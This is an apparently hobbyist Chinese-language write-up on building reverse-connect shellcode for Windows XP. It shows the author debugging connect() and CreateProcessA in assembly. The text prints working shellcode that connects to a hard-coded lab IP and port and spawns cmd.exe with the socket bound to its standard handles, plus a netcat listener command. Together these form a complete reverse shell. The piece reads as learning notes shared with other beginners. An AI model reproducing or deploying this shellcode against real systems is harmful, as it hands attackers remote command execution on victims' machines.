題目:編寫反連ShellCode遇到的難點並解決之總結
作者:仙果
目錄
0x1 題記
0x2 相關
0x3 難點
0x4 總結
0x1 題記
漏洞分析暫告了一個段落,轉向了獨立編寫一個反連的ShellCode,相關程式碼網路上已經很多很多,
自己也參考了網路上公佈的程式碼進行編寫,此篇文章主要記錄編寫過程中困擾自己很多時間的相關問題,並加上自己的理解。
0x2 相關
開發系統:
Windows XP SP3_cn
虛擬機器Windows XP sp2_cn
開發軟體:
vc++6.0 sp6中文版
vs2008 中文版
除錯軟體:
WinDbg
0x3 難點
由於對win32_socket程式設計一點也不瞭解,最多也就編寫過掃描埠的小程式,也是照著網上的程式碼版拼半湊的完成,
所以此次編寫反連的ShellCode的過程完全是在對其一無所知的情況下完成的,當然完成之後對socket程式設計也還是一知半解的狀態。
先是在網路上搜尋有關於反連ShellCode的相關程式碼,真正能搜尋到的程式碼很少,很多相同或者類似的程式碼對自己沒有什麼用處,
最後在metasploit的網站上下載到一套程式碼,其機器碼可以正常執行,但原始碼是asm格式在本機上編譯很多地方出錯,
不最多如何進行修改,其功能不符合此次編寫的要求,只能手動自己編寫,程式碼作為參考。相關程式碼會進行打包上傳,
我寫的原始碼就不傳了,大家可以根據帖出來的程式碼自行編寫。
此前已經把本地監聽埠的相關程式碼已經完成,故利用此前的相關程式碼,經過比較與監聽埠相比只存在相關網路處理函式的不同,
其初始化函式都是相同的。
0x3.1
在虛擬機器中使用NC工具監聽需要連線的埠,命令為nc.exe -l -p 4444-vv
經過WSAStartup及WSASocketA(2,1,0,0,0,0)函式處理後,接下來需要呼叫connect進行相關處理。
查詢資料得connect執行成功,則其返回值為0,在除錯的時候返回值都是0xffffffff,報錯並退出,程式碼為:
LConnnect:
push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0
push 0x11220002 ; port: 8721
mov ecx, esp
push byte 0x10
push ecx
push ebx
call [ebp + 16] //connect
test eax, eax
jne short LFinished
無法得到解答,網上也沒有任何細節上的問題,還好本地有一份用C語言實現的程式碼,
在vc6中進行反彙編除錯,擷取相關細節
85: if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin)))
00401AB7 mov esi,esp
00401AB9 push 10h
00401ABB push offset s_sin (0047cdf0)
00401AC0 mov eax,[locals (0047ce5c)]
00401AC5 push eax
00401AC6 call dword ptr [__imp__connect@12 (0047f374)]
00401ACC cmp esi,esp
00401ACE call __chkesp (00420c40)
00401AD3 test eax,eax
00401AD5 je getshell+12Bh (00401aeb)
push offset s_sin (0047cdf0)中儲存了 埠和反連IP
0047CDF0 02 00 22 11 C0 A8 01 03 ..".括..
0047CDF8 00 00 00 00 00 00 00 00 ........
mov eax,[locals (0047ce5c)] 儲存socket的控制程式碼
在windbg中進行除錯發現,
push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0
push 0x11220002 ; port: 8721
mov ecx, esp
過程是 壓入反連IP和埠,mov ecx,esp這句是把埠和IP賦給ecx,並在下面的程式碼中壓入堆疊,作為connect的引數。
還犯了一次把192和168的位置弄反的低階錯誤,最終得以使connect的返回值為正確的0x0。
0x2
接下來是對CreateprocessA的引數進行處理,主要牽扯到兩個結構&si及&pi,不知道在彙編中如何實現這兩個結構,
參考程式碼看的不是很懂,只能拿現成的程式碼進行反彙編,相關程式碼如下:
124: CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi);
00401CB3 mov esi,esp
00401CB5 push offset pi (0047ce08) //壓入&pi
00401CBA push offset si (0047ce18) //壓入&si
00401CBF push 0
00401CC1 push 0
00401CC3 push 0
00401CC5 push 1
00401CC7 push 0
00401CC9 push 0
00401CCB push offset string "cmd.exe" (0046f178)
00401CD0 push 0
00401CD2 call dword ptr [__imp__CreateProcessA@40 (0047f200)]
0047CDF8 00 00 00 00 00 00 00 00 ........ //&pi
0047CE00 00 00 00 00 00 00 00 00 ........
0047CE08 00 00 00 00 00 00 00 00 ........
0047CE10 00 00 00 00 00 00 00 00 ........
0047CE18 44 00 00 00 00 00 00 00 D.......//&si
0047CE20 00 00 00 00 00 00 00 00 ........
0047CE28 00 00 00 00 00 00 00 00 ........
0047CE30 00 00 00 00 00 00 00 00 ........
0047CE38 00 00 00 00 00 00 00 00 ........
0047CE40 00 00 00 00 00 01 00 00 ........
0047CE48 00 00 00 00 00 00 00 00 ........
0047CE50 A0 07 00 00 A0 07 00 00 ........
0047CE58 A0 07 00 00 A0 07 00 00 ........
觀察其記憶體資料,&pi是4段為0x0的資料,並且其地址都是連續的,其後跟的是&si
&si的結構比較複雜,第一項的值為0x44 ,第十二項為0x100,最後三項為socket的控制程式碼,其餘項都為0,
並且其記憶體也都是連續的,這就比較好辦些。
以下是實現程式碼,跟參考程式碼有部分差別
xchg ebx, eax ; ebx = socket 控制程式碼
mov ebx,eax //這段程式碼是無用的
push 646D63h ; "cmd"
lea edx, [esp] //把"cmd"賦給edx
sub esp, 54h
mov edi, esp
//mov dword ptr[edi],0x0
push 14h
pop ecx //14h賦給ecx
xor eax, eax
stack_zero:
mov [edi+ecx*4], eax //這段程式碼對edi的ecx*4的範圍內賦值0,即初始化0
loop stack_zero
/*以下程式碼構造&pi及si*/
mov byte ptr [edi+10h], 44h ; si.cb = sizeof(si)
inc byte ptr [edi+3Ch] ; si.dwFlags = 0x100
inc byte ptr [edi+3Dh] ; dwFlags
mov [edi+48h], ebx ; si.hStdInput = socket
mov [edi+4Ch], ebx ; hStdOutput = socket
mov [edi+50h], ebx ; hStdError = socket
lea eax, dword ptr [edi+10h]
push edi //&pi
push eax //0x44 &si
push ecx
push ecx
push ecx
push 1
push ecx
push ecx
push edx ; "cmd"
push ecx
call dword ptr [esi+0x4]
到這裡反連ShellCode 就完成了
0x4 總結
由於總結對socket程式設計一知半解,所以對ShellCode的編寫也無法做到融會貫通,
對資料結構一點也沒有接觸,看來還需要加強在程式設計方面的基礎
以上記錄對大牛來說來說就是簡單的不能再簡單的事情,我等小菜葉只是簡單記錄下共享給像我一樣
對編寫ShellCode不懂的兄弟。
參考程式碼.rar